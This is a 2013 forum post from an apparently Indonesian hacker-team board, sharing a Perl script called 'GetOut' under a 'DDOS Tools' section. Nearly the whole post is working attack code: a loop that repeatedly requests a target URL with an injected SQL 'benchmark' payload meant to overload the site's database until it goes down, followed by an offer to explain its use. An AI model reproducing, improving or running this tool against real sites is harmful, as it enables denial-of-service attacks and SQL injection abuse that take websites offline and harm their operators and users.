DIR Return Create A Forum - Home
---------------------------------------------------------
\"GOSystem\" HackerTeam Indonesia
HTML https://gosystem.createaforum.com
---------------------------------------------------------
*****************************************************
DIR Return to: DDOS Tools
*****************************************************
#Post#: 12--------------------------------------------------
GetOut DDos Tool By Me
DIR By: Aldi
Date: November 8, 2013, 10:07 pm
---------------------------------------------------------
--- Code ---
#!usr/bin/perl
#GetOut
#@by_Aldi
use LWP::UserAgent;
my $nave = LWP::UserAgent-
>new;
$nave->agent("Mozilla/5.0
(Windows; U; Windows NT 5.1;
nl; rv:1.8.1.12)
Gecko/20080201Firefox/2.0.0.12
");
$nave->timeout(5);
head();
if($ARGV[0]) {
now($ARGV[0]);
} else {
sintax();
}
copyright();
sub now {
print "\n[+] Target : ".$_[0]."\n";
print "\n[+] Starting the attack\n
[+] Info : control+c for stop
attack\n\n";
while(true) {
$SIG{INT} = \&adios;
$code = toma($_[0]." and (select
+benchmark
(99999999999,0x70726f62616e
646f70726f62616e646f70726f
62616e646f))");
unless($code->is_success) {
print "[+] Web Off\n";
copyright();
}}}
sub adios {
print "\n[+] Stoping attack\n";
copyright();
}
sub head {
print "\n\n-- == #GetOut == --\n
\n";
}
sub copyright {
print "\n\n-- == GetOut == --\n
\n";
exit(1);
}
sub sintax {
print "\n[+] Sintax : $0 \n";
}
sub toma {
return $nave->get($_[0]);
}
# ¿ The End ?
--- End Code ---
Perl dibutuhkan
yang gk tau cara menggunakannya silahkan tinggalkan komentar
dengan menekan tombol REPLY yg ada di bawah
*****************************************************
Page 1 of 1